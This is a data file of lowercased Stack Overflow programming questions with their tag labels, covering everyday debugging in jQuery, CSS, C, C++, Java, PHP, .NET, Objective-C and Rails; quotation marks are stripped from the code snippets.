jquery contains not working as expected  i m trying to look for a div on a page containing a given piece of text in a loop (metric.displaygroup)  and if it s not there  create one (inside a table cell). using my code below  my console shows that i m correctly finding the elements and i can see my new elements appearing  but the next time round the loop  the check doesn t find the new ones i ve added and so creates more.    any ideas  thanks!   <pre><code>console.log( looking for   + metric.displaygroup); if ($( div:not(:contains(   + metric.displaygroup +   )) )) {      console.log( adding:   + metric.displaygroup);      $(charttable).append( &lt;tr&gt;&lt;td colspan= 3 &gt;&lt;div&gt;  + metric.displaygroup +  &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt; );                     } </code></pre>,jquery
call exe using process without absolute path  i wrote a program need to call an external exe using    <pre><code>process proc = process.start(filepath). </code></pre>   i specify the absolute path of the exe and it works fine. however  i need to use this program in different computers. each time the exe has a different absolute path and i need to change the code for this part. i would like to know is there a way that i don t need to change the code  thanks in advance!,c#
i m doing something wrong but i don t know what <.<  my function is   <pre><code> function getreg($id) {     return file_get_contents( http://arcbots.com/userinfo.php id= .$id);   } </code></pre>   my php for the echo is   <pre><code>&lt; php     function display()     {         echo getreg( $_post[ search ] );     }     if(isset($_post[ search ]))     {        display();     }       &gt; </code></pre>   and my form code is    <pre><code>&lt;center&gt;&lt;form method= post  /&gt;     &lt;input type= text  name= search &gt;     &lt;input type= submit  value= search  name= submit &gt; &lt;/form&gt;&lt;/center&gt; </code></pre>   i know i m doing something very wrong. if the code was to work when i search  1111211137  it should return  lejordannn  its returning  danjr4149000099  meaning i m doing something wrong.,php
percentage is not properly working in css  when i use percentage value for width and height in css its not working properly... can some one explain me clearly how to give percentage values for css attributes and how does it works  thank u in advance     this is my css   <pre><code>    body  {     width:1440px;     height:900px;  } div.head {     background-image:url(head.png);     background-position:top center;     width:100%;     height:25%; } div.main {     background-color:white;     width:100%;     height:50% } div.foot {     background-color:white;     width:100%;     height:50% } </code></pre>   html generated on browser:   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt;&lt;title&gt;     main &lt;/title&gt;&lt;link rel= stylesheet  type= text/css  href= css/stylesheet1.css  /&gt;     &lt;script type= text/jscript  src= js/jscript1.js &gt;&lt;/script&gt;   &lt;/head&gt; &lt;body &gt;     &lt;form method= post  action= webform1.aspx  id= form1 &gt; &lt;div class= aspnethidden &gt; &lt;input type= hidden  name= __viewstate  id= __viewstate  value= /wepdwukmty1ndu2mta1mmrkkxi1tlt7icphcasdjp2bi5beiw8cckkjsw4nczkzmbs=  /&gt;  &lt;/div&gt;      &lt;div id= header  class= head &gt;     menu comes here     &lt;/div&gt;     &lt;div id= main  class= main &gt;  body comes here      &lt;/div&gt;      &lt;div id= footer  class= foot &gt;    footer comes here     &lt;/div&gt;      &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
"stopwatch i made using js not working  i ve run the code multiple times trying to fix any error i have found in the code but it just doesn t seem to work.    i m using the <em>setinterval()</em> loop. the function does not even run once. what could the problem be     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function stopwatch () {
 
   var hours = number(document.getelementbyid( hours ).innerhtml);
   var minutes = number(document.getelementbyid( minutes ).innerhtml);
   var seconds = number(document.getelementbyid( seconds ).innerhtml);
 
   if (seconds&lt;60) {
     seconds++
   } else {
     seconds = 0;
     minutes++
   }
 
   if (minutes == 60) {
     minutes = 0;
     hours++
   }
 
   if (seconds.length==2) {
     document.getelementbyid( seconds ).innerhtml = seconds;
   } else {
     document.getelementbyid( seconds ).innerhtml =  0  + seconds;
   }
 
   if (minutes.length==2) {
     document.getelementbyid( minutes ).innerhtml = minutes;
   } else {
     document.getelementbyid( minutes ).innerhtml =  0  + minutes;
   }
 
   if (hours.length==2) {
     document.getelementbyid( hours ).innerhtml = hours;
   }
 
   if (hours.length==1) {
     document.getelementbyid( hours ).innerhtml =  0  + hours;
   }
   
  }
 
 setinterval(stopwatch 1000)</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
 &lt;head&gt;&lt;/head&gt;
 &lt;body&gt;
     &lt;p&gt;
         &lt;span id= hours &gt;00&lt;/span&gt;:&lt;span id= minutes &gt;00&lt;/span&gt;:&lt;span id= seconds &gt;00&lt;/span&gt;
     &lt;/p&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",javascript
why no capacity in concurrentqueue   why doesn t <code>concurrentqueue</code> have a <code>capacity</code> like its non-concurrent cousin  there isn t a mentioning of a default capacity either.    does the  missing  capacity impact performance compared to the non-concurrent version where the implementer can provide a qualified guess of the typical size of the queue,.net
delegating the even callback in objective-c  i am trying to wrap my head around how does the an event callback delegation works. so far i have written following code which btw works just fine:    bridge.h   <pre><code>@protocol bridgedelegate &lt;nsobject&gt;  - (void) bridgelock;  @end  @interface bridge : nsobject +(instancetype) sharedinstance; @property (weak  nonatomic) id&lt;bridgedelegate&gt; bridgedelegate; - (void) wipe;   @end </code></pre>   bridge.m   <pre><code>@implementation bridge  +(instancetype) sharedinstance {     static dispatch_once_t pred;     static id shared = nil;     dispatch_once(&amp;pred  ^{         shared = [[super alloc] inituniqueinstance];     });     return shared; }  -(instancetype) inituniqueinstance {     return [super init]; }  - (void) wipe {     nslog(@ lock in bridge called );      if(self.bridgedelegate)     {         [self.bridgedelegate bridgelock];     } }  @end </code></pre>   plugin.h   <pre><code>@interface plugin : nsobject&lt;bridgedelegate&gt;  @property (strong  nonatomic) bridge *bridge; - (void) plugininitialize;   @end </code></pre>   plugin.m   <pre><code>@implementation plugin   - (void) plugininitialize {     self.bridge = [bridge sharedinstance];     self.bridge.bridgedelegate = self; }  - (void)bridgelock {     nslog(@ lock in plugin called );   }  @end </code></pre>   when i call the following code in applicationdidbecomeactive   <pre><code>bridge* bridge = [bridge sharedinstance]; plugin* plugin = [[plugin alloc] init]; [plugin plugininitialize]; [bridge wipe]; </code></pre>   i get the following expected output:   <pre><code> lock in bridge called  lock in plugin called </code></pre>   now my questions:   <ol> <li> how exactly is the delegate work  in the sense  plugin is only implementing the function <code>bridgewipe()</code>  right  why and how bridgelock is being called at first place  </li> <li> does this have anything to the fact that bridge is a singleton. had i made bridge a non singleton class  will the end result be same. </li> </ol>,objective-c
how to manage temporary variables in python 3.5   if i have many functions in python script  can i use same variable name for all those functions   if yes  is it efficient  and how   or is it better to use different name for different functions  ex:   <pre><code>def func1():     tmp = 1     ........    def func2():     tmp = 2     ........  def funcn():     tmp = something      ............ </code></pre>   only problem i could find with this it can get confusing while debugging.,python
semantic issue & parse issue: missing context for method declaration & expected method body  getting a semantic issue &amp; parse issue: missing context for method declaration &amp; expected method body for pausing and resuming uiimageviewanimation methods. declared these two method in the mainviewcontroller.h file    <pre><code>#import &lt;uikit/uikit.h&gt; #import &lt;avfoundation/avfoundation.h&gt;  - (void)resumelayer:(calayer *)layer; - (void)pauselayer:(calayer *)layer;  @interface mainviewcontroller : uiviewcontroller @property (nonatomic  retain) uitoolbar *toolbar; @property (strong)avaudioplayer *audioplayer; @property (nonatomic  retain) nstimer * timer; </code></pre>   methods in m file   <pre><code>-(void)pauselayer:(calayer*)layer { cftimeinterval pausedtime = [layer converttime:cacurrentmediatime() fromlayer:nil]; layer.speed = 0.0; layer.timeoffset = pausedtime; }  -(void)resumelayer:(calayer*)layer { cftimeinterval pausedtime = [layer timeoffset]; layer.speed = 1.0; layer.timeoffset = 0.0; layer.begintime = 0.0; cftimeinterval timesincepause = [layer converttime:cacurrentmediatime() fromlayer:nil] - pausedtime; layer.begintime = timesincepause;  } </code></pre>   i m confused what i have not defined here.    thanks for help.,iphone
how to make this c code shorter  i have some code that toggles values in a <code>struct</code>.    for example  i find myself writing code a lot that looks like this:   <pre><code>if(options.test == 1) {     options.test = 2; } else if (options.test == 2) {     options.test = 1; } </code></pre>   is there a more compact version i can use to make this code shorter,c
what exactly does context represent   can anyone tell me how on how <code>issharp</code> is in <code>global context</code> in the below code. i was following the john s advanced js.     <a href= http://ejohn.org/apps/learn/#24  rel= nofollow >http://ejohn.org/apps/learn/#24</a>   <pre><code>function katana(){   this.issharp = true; } katana(); alert(issharp); assert( issharp === true   a global object now exists with that name and value.  );  var shuriken = {   toss: function(){     this.issharp = true;   } }; shuriken.toss(); assert( shuriken.issharp === true   when it s an object property  the value is set within the object.  ); </code></pre>,javascript
why does waitpid() only return 1 for all child processes   i have a handler for <code>sigchld</code> in a process that spawns off many children.    this code is inside my handler and <code>pid</code> is always <code>1</code>. i ve read that <code>pid</code> should be the child process <code>id</code>. why do i keep getting back <code>1</code>    <pre><code>int status; pid_t pid;  while(pid = waitpid(-1  &amp;status  wnohang) &gt; 0) {             if  (wifexited(status))         printf( child %ld: ended properly and returned %d\n   pid  wexitstatus(status));     else         printf( child crashed\n ); } </code></pre>   code to initialize the handler.   <pre><code>void initsigchldsignalhandler() {     struct sigaction act;      memset(&amp;act  \0  sizeof(struct sigaction));     sigemptyset(&amp;act.sa_mask);     act.sa_flags = sa_nocldstop | sa_restart;     act.sa_handler = sigchld_signalhandler;      sigaction(sigchld  &amp;act  null); } </code></pre>,c
limit vector.size() in a for loop  i m trying to do this in a vector composed of vec3f:   <pre><code>for (size_t i = 0; i &lt; (mpoints.size() - 10) ; i++) {     glvertex3f(mpoints[i]); } </code></pre>   but i always get a run time error exc_bad_access ... if instead of size() i use an int i get the same error. if instead i simply use size() without the substraction  it works fine...    what s going on,c++
using args facility <pre><code>using system;  namespace ws_7_a {     class calculator     {         public static void main(string[] args)         {             console.writeline( ~~~~~~ acme calculator-o-matic ~~~~~~ );             console.writeline( enter two integers to add... );             double number1 = convert.todouble(args[0]);             double number2 = convert.todouble(args[1]);             console.writeline( answer: {0}   calculator.add(number1  number2));             console.readkey(true);         }           private static int add(int a  int b)         {             return (a + b);         }          private static double add ( double a   double b)         {             return ( a + b);         }     } } </code></pre>   the error i receive is <code>system.indexoutofrangeexception: index was outside the bounds of the array.</code>  what am i doing wrong,c#
decompiling .net assemblies to project structure  i have an existing .net dll. i want to decompile the source code and generate a project sturcture. through .net reflector  i could able to generate the source code  but noway i can save the source code to a project structure. is there any other tool which can generate source code along with the project structure for a .net dll,.net
ios minimum system  i m about to update my ipad app.  i ve not added any new features from ios 6  however  one of my testers is telling me that he cannot update because he s stuck on 5.1 with a ipad 1.  my project s basesdk is set to 6.0  however the deployment target is set to 5.1.  i would think that that should still work for ios 5   what am i missing,ios
rails select field is not showing currect values  when i create the object the values appear correct inside the db; however  when i try to edit the values the select tag values they appear wrong.    i have a different form for edit:    <pre><code>&lt;%= form_for(@opening_hour  url: store_opening_hours_update_path) do |form| %&gt;      &lt;div class= form-group &gt;     &lt;%= form.select :day  [[ select a day ]  [ monday   1]  [ tuesday   2]  [ wednesday   3]                           [ thursday   4]  [ friday   5]  [ saturday   6] [ sunday   7]]  {}  class:  form-control  %&gt;   &lt;/div&gt;    &lt;div class= form-group &gt;     &lt;%= form.select :opens  [[ select opening hour ] [ 12:00   12]  [ 13:00   13]  [ 14:00   14]  [ 15:00   15]  [ 16:00   16]  [ 17:00   17]                             [ 18:00   18]  [ 19:00   19]  [ 20:00   20]  [ 21:00   21]  [ 22:00   22]  [ 23:00   23]  [ 24:00   24]                             [ 01:00   1]  [ 02:00   2]  [ 03:00   3]  [ 04:00   4]  [ 05:00   5]  [ 06:00   6]  [ 07:00   7]                             [ 08:00   8]  [ 09:00   9]  [ 10:00   10]  [ 11:00   11]]  {}  class:  form-control   %&gt;   &lt;/div&gt; </code></pre>   in the controller:    <pre><code>def edit   @opening_hour = openinghour.find(params[:id]) end </code></pre>   once i edit and reopen the edit form  the values appear correct. any idea why this is happening     <strong>update 1</strong>   <pre><code>before_action :set_opening_hour  only: [:edit  :update]  def create   @opening_hour = openinghour.create(opening_hour_params)     respond_to do |format|       if @opening_hour.save         format.html { redirect_to store_opening_hours_index_path and return}         flash[:notice] =  hours were successfully created.        else         format.html { render :new }         format.json { render json: @opening_hour.errors  status: :unprocessable_entity }       end     end end  def update   respond_to do |format|     if @opening_hour.update(opening_hour_params)       format.html { redirect_to store_opening_hours_index_path and return}       flash[:notice] =  hours were successfully updated.      else       format.html { render :edit }       format.json { render json: @opening_hour.errors  status: :unprocessable_entity }     end   end end  private  def set_opening_hour   @opening_hour = openinghour.find(params[:id]) end  def opening_hour_params   params.require(:opening_hour).permit(:user_id  :day  :closes  :opens  :valid_from  :valid_through) end end </code></pre>   edit form:   <pre><code>&lt;div class= col-md-5 col-md-offset-3 &gt;      &lt;%= form_for(@opening_hour  url: store_opening_hours_update_path) do |form| %&gt;     &lt;% if @opening_hour.errors.any  %&gt;       &lt;div class= centerlist &gt;       &lt;div id= error_explanation &gt;         &lt;h2&gt;&lt;%= pluralize(@opening_hour.errors.count   error ) %&gt; prohibited the business hours from being saved:&lt;/h2&gt;         &lt;% @opening_hour.errors.full_messages.each do |message| %&gt;           &lt;li&gt;&lt;%= message %&gt;&lt;/li&gt;         &lt;% end %&gt;       &lt;/div&gt;     &lt;/div&gt;     &lt;br&gt;   &lt;% end %&gt;     &lt;div class= form-group &gt;    &lt;%= form.select :day  [[ select a day ]  [ monday   1]  [ tuesday   2]  [ wednesday   3]                            [ thursday   4]  [ friday   5]  [ saturday   6] [ sunday   7]]  {}  class:  form-control  %&gt; &lt;/div&gt;   &lt;div class= form-group &gt;   &lt;%= form.select :opens  [[ select opening hour ] [ 12:00    12:00 ]  [ 13:00   13]  [ 14:00   14]  [ 15:00   15]  [ 16:00   16]  [ 17:00   17]                             [ 18:00   18]  [ 19:00   19]  [ 20:00   20]  [ 21:00   21]  [ 22:00   22]  [ 23:00   23]  [ 24:00   24]                             [ 01:00   1]  [ 02:00   2]  [ 03:00   3]  [ 04:00   4]  [ 05:00   5]  [ 06:00   6]  [ 07:00   7]                             [ 08:00   8]  [ 09:00   9]  [ 10:00   10]  [ 11:00    11:00 ]]  {}  class:  form-control   %&gt; &lt;/div&gt;    &lt;div class= form-group &gt;   &lt;%= form.select :closes  [[ select closing hour ] [ 12:00   12]  [ 13:00   13]  [ 14:00    14:00 ]  [ 15:00   15]  [ 16:00   16]  [ 17:00    17:00 ]                             [ 18:00   18]  [ 19:00   19]  [ 20:00   20]  [ 21:00   21]  [ 22:00   22]  [ 23:00   23]  [ 24:00   24]                             [ 01:00   1]  [ 02:00   2]  [ 03:00   3]  [ 04:00   4]  [ 05:00   5]  [ 06:00   6]  [ 07:00   7]                             [ 08:00   8]  [ 09:00   9]  [ 10:00   10]  [ 11:00    11:00 ]]  {}  class:  form-control   %&gt; &lt;/div&gt;     &lt;div class= form-group &gt;     &lt;%= form.submit t( opening_hours_index_6 )  :class=&gt; btn btn-primary  %&gt;   &lt;/div&gt; &lt;% end %&gt;  &lt;div id= fixed-bottom-spacing  style= height: 60px; &gt;&amp;nbsp;&lt;/div&gt; </code></pre>,ruby-on-rails
java escaped sequence syntax error  i m trying to create a string array with lines of codes  so that the program can over-write a portion of existing code once it hits a mark. my problem comes on this line:   <pre><code>var finaltitle = (str.replace( ()   ( (  + num +  ) ))); </code></pre>   as i am attempting to convert that line into a valid string  i understand that the quotation mark can be somewhat tricky to parse. this is what i have so far:   <pre><code> var finaltitle = (str.replace(\ ()\   (\ (\  + num + \ )\ )));  </code></pre>   however  eclipse will not stop complaining that the syntax of this line is incorrect. does anyone know how to correctly format this line  or possibly more specifically  how to parse quotation marks into a string     here is an example of the string array i am filling. i am going to loop through it with each iteration writing a new line to the .js file:   <pre><code>string[] lines = { var patienttree = getpatientmenutree();    var rootnode = patienttree.getnodebyid( patients );    var str = rootnode.title;    var num = patientarray.length;    var finaltitle = (str.replace(\ ()\   (\ (\  + num + \ )\ )));  }; </code></pre>,java
sql query not returning max value  <a href= https://i.stack.imgur.com/lyz78.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lyz78.png  alt= this is the database i am working with ></a>i have written the following query to get the value with the max issue_id. but i get the issue_id 14 for book_id 2. what i want is to get issue_id 16 when book_id is 2. and issue_id 15 when book_id is 3 and so on.   <pre><code>select issue.issue_id as issue_id  issue.issue_date  issue.student_id  books.availability      case when now() &gt; date_add(issue.issue_date  interval 20 day)         then 10*datediff(now()  date_add(issue.issue_date  interval 20 day))         else 0 end as fine_amount         from issue         inner join books         on issue.book_id=books.book_id         where books.book_id=2          having max(issue.issue_id) </code></pre>,mysql
warning for  incomplete implementation   am getting a warning for  incomplete implementation   but can t find out why  having compared it with source files. have commented out the warning.    my version of itemsviewcontroller.m   <pre><code>    #import  itemsviewcontroller.h      #import  bnritemstore.h      #import  bnritem.h       @implementation itemsviewcontroller //incomplete implementation      - (id)init      {       // call the superclass s designated initializer       self = [super initwithstyle:uitableviewstylegrouped];       if (self) {         uinavigationitem *n = [self navigationitem];          [n settitle:@ homepwner ];          // create a new bar button item that will send         // addnewitem: to itemsviewcontroller         uibarbuttonitem *bbi = [[uibarbuttonitem alloc]                                  initwithbarbuttonsystemitem:uibarbuttonsystemitemadd                                  target:self                                  action:@selector(addnewitem:)];          // set this bar button item as the right item in the navigationitem         [[self navigationitem] setrightbarbuttonitem:bbi];          [[self navigationitem] setleftbarbuttonitem:[self editbuttonitem]];       }       return self;     }      - (ibaction)addnewitem:(id)sender     {       // create a new bnritem and add it to the store       bnritem *newitem = [[bnritemstore defaultstore] createitem];//no known class method for selector  defaultstore        // incompatible pointer types initializing  bnritem*__strong  with an expression of  nsarray         // figure out where that item is in the array        int lastrow = [[[bnritemstore defaultstore] allitems] indexofobject:newitem]; //no known class method for selector  defaultstore         nsindexpath *ip = [nsindexpath indexpathforrow:lastrow insection:0];        // insert this new row into the table.       [[self tableview] insertrowsatindexpaths:[nsarray arraywithobject:ip]                               withrowanimation:uitableviewrowanimationtop];     }       - (id)initwithstyle:(uitableviewstyle)style     {       return [self init];     }      - (void)viewwillappear:(bool)animated     {       [super viewwillappear:animated];       [[self tableview] reloaddata];     }      - (void)tableview:(uitableview *)tableview      moverowatindexpath:(nsindexpath *)fromindexpath            toindexpath:(nsindexpath *)toindexpath      {       [[bnritemstore defaultstore] moveitematindex:[fromindexpath row] //no known class method for selector  defaultstore                                             toindex:[toindexpath row]];     }      - (void)tableview:(uitableview *)atableview      didselectrowatindexpath:(nsindexpath *)indexpath     {       detailviewcontroller *detailviewcontroller = [[detailviewcontroller alloc] init];        nsarray *items = [[bnritemstore defaultstore] allitems];//no known class method for selector  defaultstore        bnritem *selecteditem = [items objectatindex:[indexpath row]];        // give detail view controller a pointer to the item object in row       [detailviewcontroller setitem:selecteditem];        // push it onto the top of the navigation controller s stack       [[self navigationcontroller] pushviewcontroller:detailviewcontroller                                              animated:yes];     }        -(bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)io     {       if ([[uidevice currentdevice]userinterfaceidiom]==uiuserinterfaceidiompad) {         return yes;       } else {         return (io==uiinterfaceorientationportrait);       }     }      - (void)tableview:(uitableview *)tableview      commiteditingstyle:(uitableviewcelleditingstyle)editingstyle      forrowatindexpath:(nsindexpath *)indexpath      {       // if the table view is asking to commit a delete command...       if (editingstyle == uitableviewcelleditingstyledelete)       {         bnritemstore *ps = [bnritemstore defaultstore];//no known class method for selector  defaultstore          nsarray *items = [ps allitems];         bnritem *p = [items objectatindex:[indexpath row]];         [ps removeitem:p];          // we also remove that row from the table view with an animation         [tableview deleterowsatindexpaths:[nsarray arraywithobject:indexpath]                          withrowanimation:uitableviewrowanimationfade];       }     }      - (nsinteger)tableview:(uitableview *)tableview      numberofrowsinsection:(nsinteger)section     {       return [[[bnritemstore defaultstore] allitems] count];//no known class method for selector  defaultstore      }     - (uitableviewcell *)tableview:(uitableview *)tableview              cellforrowatindexpath:(nsindexpath *)indexpath     {       // create an instance of uitableviewcell  with default appearance       // check for a reusable cell first  use that if it exists       uitableviewcell *cell =       [tableview dequeuereusablecellwithidentifier:@ uitableviewcell ];        // if there is no reusable cell of this type  create a new one       if (!cell) {         cell = [[uitableviewcell alloc]                 initwithstyle:uitableviewcellstyledefault                 reuseidentifier:@ uitableviewcell ];       }       // set the text on the cell with the description of the item       // that is at the nth index of items  where n = row this cell       // will appear in on the tableview       bnritem *p = [[[bnritemstore defaultstore] allitems]//no known class method for selector  defaultstore                      objectatindex:[indexpath row]];       [[cell textlabel] settext:[p description]];       return cell;     }      @end  original source version of itemsviewcontroller.m  #import  itemsviewcontroller.h  #import  bnritemstore.h  #import  bnritem.h   @implementation itemsviewcontroller - (id)init  {     // call the superclass s designated initializer     self = [super initwithstyle:uitableviewstylegrouped];     if (self) {         uinavigationitem *n = [self navigationitem];          [n settitle:@ homepwner ];          // create a new bar button item that will send         // addnewitem: to itemsviewcontroller         uibarbuttonitem *bbi = [[uibarbuttonitem alloc]                          initwithbarbuttonsystemitem:uibarbuttonsystemitemadd                                               target:self                                               action:@selector(addnewitem:)];          // set this bar button item as the right item in the navigationitem         [[self navigationitem] setrightbarbuttonitem:bbi];          [[self navigationitem] setleftbarbuttonitem:[self editbuttonitem]];     }     return self; } - (ibaction)addnewitem:(id)sender {     // create a new bnritem and add it to the store     bnritem *newitem = [[bnritemstore defaultstore] createitem];      // figure out where that item is in the array      int lastrow = [[[bnritemstore defaultstore] allitems] indexofobject:newitem];      nsindexpath *ip = [nsindexpath indexpathforrow:lastrow insection:0];      // insert this new row into the table.     [[self tableview] insertrowsatindexpaths:[nsarray arraywithobject:ip]                             withrowanimation:uitableviewrowanimationtop]; }   - (id)initwithstyle:(uitableviewstyle)style {     return [self init]; }  - (void)viewwillappear:(bool)animated {     [super viewwillappear:animated];     [[self tableview] reloaddata]; }   - (void)tableview:(uitableview *)tableview      moverowatindexpath:(nsindexpath *)fromindexpath             toindexpath:(nsindexpath *)toindexpath  {     [[bnritemstore defaultstore] moveitematindex:[fromindexpath row]                                          toindex:[toindexpath row]]; }  - (void)tableview:(uitableview *)atableview      didselectrowatindexpath:(nsindexpath *)indexpath {     detailviewcontroller *detailviewcontroller = [[detailviewcontroller alloc] init];      nsarray *items = [[bnritemstore defaultstore] allitems];     bnritem *selecteditem = [items objectatindex:[indexpath row]];      // give detail view controller a pointer to the item object in row     [detailviewcontroller setitem:selecteditem];      // push it onto the top of the navigation controller s stack     [[self navigationcontroller] pushviewcontroller:detailviewcontroller                                            animated:yes]; }  - (void)tableview:(uitableview *)tableview      commiteditingstyle:(uitableviewcelleditingstyle)editingstyle       forrowatindexpath:(nsindexpath *)indexpath  {     // if the table view is asking to commit a delete command...     if (editingstyle == uitableviewcelleditingstyledelete)     {         bnritemstore *ps = [bnritemstore defaultstore];         nsarray *items = [ps allitems];         bnritem *p = [items objectatindex:[indexpath row]];         [ps removeitem:p];          // we also remove that row from the table view with an animation         [tableview deleterowsatindexpaths:[nsarray arraywithobject:indexpath]                          withrowanimation:uitableviewrowanimationfade];     } }  - (nsinteger)tableview:(uitableview *)tableview  numberofrowsinsection:(nsinteger)section {     return [[[bnritemstore defaultstore] allitems] count]; } - (uitableviewcell *)tableview:(uitableview *)tableview          cellforrowatindexpath:(nsindexpath *)indexpath {     // create an instance of uitableviewcell  with default appearance     // check for a reusable cell first  use that if it exists     uitableviewcell *cell =         [tableview dequeuereusablecellwithidentifier:@ uitableviewcell ];      // if there is no reusable cell of this type  create a new one     if (!cell) {         cell = [[uitableviewcell alloc]                     initwithstyle:uitableviewcellstyledefault                   reuseidentifier:@ uitableviewcell ];     }     // set the text on the cell with the description of the item     // that is at the nth index of items  where n = row this cell     // will appear in on the tableview     bnritem *p = [[[bnritemstore defaultstore] allitems]                                     objectatindex:[indexpath row]];     [[cell textlabel] settext:[p description]];     return cell; } @end </code></pre>   itemsviewcontroller.h   <pre><code>#import &lt;foundation/foundation.h&gt; #import  detailviewcontroller.h   @interface itemsviewcontroller : uitableviewcontroller {   iboutlet uiview *headerview; }  -(uiview *)headerview; -(ibaction)addnewitem:(id)sender; -(ibaction)toggleeditingmode:(id)sender;  @end </code></pre>,objective-c
difference between conceptual help and api help in .net   i want to write some good docs for my .net project - it s a class library.  should i generate conceptual help aswell as api help - what are the differences and what kind of informatio should i put in the conceptual help,.net
how to locate and remove a node from a linkedlist that has only one element  its head   how can i locate and remove a node from a <code>linkedlist</code> that has only one element  its <strong>head</strong>  it does not have any tail  current  header  trailer and counter.    i also want to    <ul>     <li>throw a <code>nullpointerexception</code> if the list is empty</li>     <li>return <b>true</b> if the supplied value is found and removed</li>     <li>return <b>false</b> if the supplied value is not found</li> </ul>  <pre><code>public class sllist {      private class node     {         private int info;         private node next;         private node (int value  node ptr)         {             info = value;             next = ptr;         }     }      protected node head = null;      public boolean remove (int value) throws nullpointerexception     {      } } </code></pre>,java
is it possible to make link clickable inside <input> tag angularjs   html   <pre><code>&lt;input type= text  placeholder= enter link here...  name= link  ng-model= link /&gt; </code></pre>   controller::   <pre><code>$scope.link =  https://stackoverflow.com  </code></pre>   when clicking on the link inside input box  it should clickable and redirected to stackoverflow page.,angularjs
view application and console application in objective c  i m new to objective c..i have created some applications in view based application..my project is to develop a protocol to retreive records.i m writing that coding in console application..if the user clicks on the ok button the data has to be retrieved from the other end... have created the buttons and textview to display the status in the view based application and rest of the format of sending data as packets i m trying to do it in console based application.is there any possiblility of including the view based application as well as the console based application together in a single project.if i add up the .m and .h files from the console application to the view based application its showing me some error on the  cocoa/cocoa.h no such file or directory .,objective-c
iterator removing object property  i am currently learning java collection framework. but am stuck with iterators.    i have the following code    <pre><code>public static void main(string[] args) {      list&lt;employee&gt; list = new linkedlist &lt;employee&gt;();      list.add(new employee( a    a    a                a    a   1   a   1));     list.add(new employee( a    a    a                a    a   1   a   2));     list.add(new employee( a    a    a                a    a   1   a   3));     list.add(new employee( a    a    a                a    a   1   a   4));     list.add(new employee( a    a    a                a    a   1   a   5));     list.add(new employee( a    a    a                a    a   1   a   6));      for (employee a : list) {         system.out.println(a.getemployeeid());     }      system.out.println( before\n );      int selectedemployeesid = 2;      iterator&lt;employee&gt; empit = list.listiterator();      employee current = empit.next();      while (empit.hasnext()) {          if (current.getemployeeid() == selectedemployeesid) {             empit.remove();         }      }     for (employee a : list) {         system.out.println(a.getemployeeid());     }  } </code></pre>   can anyone explain why the iterator does not remove from the linkedlist.,java
unexpected behavior when using cin twice  i have the following c++ code in a console program:   <pre><code>float var1  var2;  cin &gt;&gt; var1; cin &gt;&gt; var2; </code></pre>   when i am about to enter the second variable and use the right arrow key  the input of the first variable starts to appear on the screen. if i hit enter  the second variable will take the value that appeared on the screen. do i need to reset the cin buffer  i tried to make use of:   <pre><code>cin.clear(); </code></pre>   and:   <pre><code>cin.ignore(); </code></pre>   but the behavior stays.,c++
async execution wait for any  have some method  which is called sync like:   <pre><code>tasks.foreach(p=&gt; proccess(p));  void proccess(){    //do some long running work } </code></pre>   how can i do something like  on pseudocode:   <pre><code>tasks.foreach(p=&gt; async(proccess(p)); waitforany(); </code></pre>   here i want to call tasks async  and wait for any execution end.(not for all). can u plz help me  without parallel tasks from .net 4.,.net
how to set a cross hair icon in exact middle of the camera overlay   i would think myimagepicker.frame.center is where i should place the icon (subtract icon.size.width/2 and height /2.  but when the picture actually saves  what i thought the cross hair is pointing at is not the middle of the image at all. x seems okay  but y happens to be some distance off. i can approximate by trial and error  but i would like to be exact.     help,ios
how to generate public and private key for api  i want the easy way in order to generate public / private key for api  i want a speed class without need of openssl or any server side installation or third party application.    i tried to look about a bitcoin public/private system generation  but nothing found about it ... and then i tested:   <pre><code>require_once( phpcoinaddress.php );   $coin = coinaddress::bitcoin();          coin_info( bitcoin   $coin);   ////////////////////////////////////////////// function coin_info($name $coin) {      print  public (base58):   . $coin[ public ] .  &lt;br&gt; ;     print  private (wif)  :   . $coin[ private ] .  &lt;br&gt; ; } </code></pre>   but this take many times in order to return a result !    <strong>source from here:</strong> <a href= https://github.com/zamgo/phpcoinaddress  rel= nofollow >https://github.com/zamgo/phpcoinaddress</a>    if u have any easy  speed  secure and unique pair generation solution will be welcome ! thank s in advance.,php
double convert.todecimal control decimal digits  i am trying to convert a double to a decimal using convert.todecimal function.  the problem is that somehow .net chooses to omit decimal digits depending on the size of original double variable.     take the following example:    <pre><code>        double d = 2999247013.972682;         decimal convdecimal = convert.todecimal(d);         decimal realdecimal = 2999247013.972682m;          console.writeline(d);         console.writeline(convdecimal);         console.writeline(realdecimal); </code></pre>   which produces the following output:    <pre><code>2999247013 97268  // comments: (actual value 2999247013 972682) 2999247013 97268  // comments: (actual value 2999247013 97268) 2999247013 972682 // comments: (actual value 2999247013 972682) </code></pre>   (    is the decimal separator on current locale)     what i am trying to achieve is to use a convert.todecimal(d) and get the decimal number 2999247013 972682.     any thoughts anyone,.net
how to write a while loop that takes two ints and terminates with  |  in c++   i m working through a text book for self study. i can do the while loop no problem  but i have no idea how to do the terminating character.     here is what i have now:    <pre><code>#include  ../../std_lib_facilities.h  // supplied by book author  int main() {     int ii = 0;     int yy = 0;     bool test = true;      cout &lt;&lt;  enter two ints  &lt;&lt; endl;      while (test)     {         cin&gt;&gt;ii  cin&gt;&gt;yy;          // this if statement doesn t work          if (ii ==  |  || yy ==  | )         {              test = false;         }          // this if statement catches all bad input  even the terminating  |           if (cin.fail())         {               cout &lt;&lt;  bad input ;             cin.clear();             cin.ignore();             continue;         }         else              cout &lt;&lt; ii &lt;&lt; yy &lt;&lt; endl;      }      return 0; } </code></pre>,c++
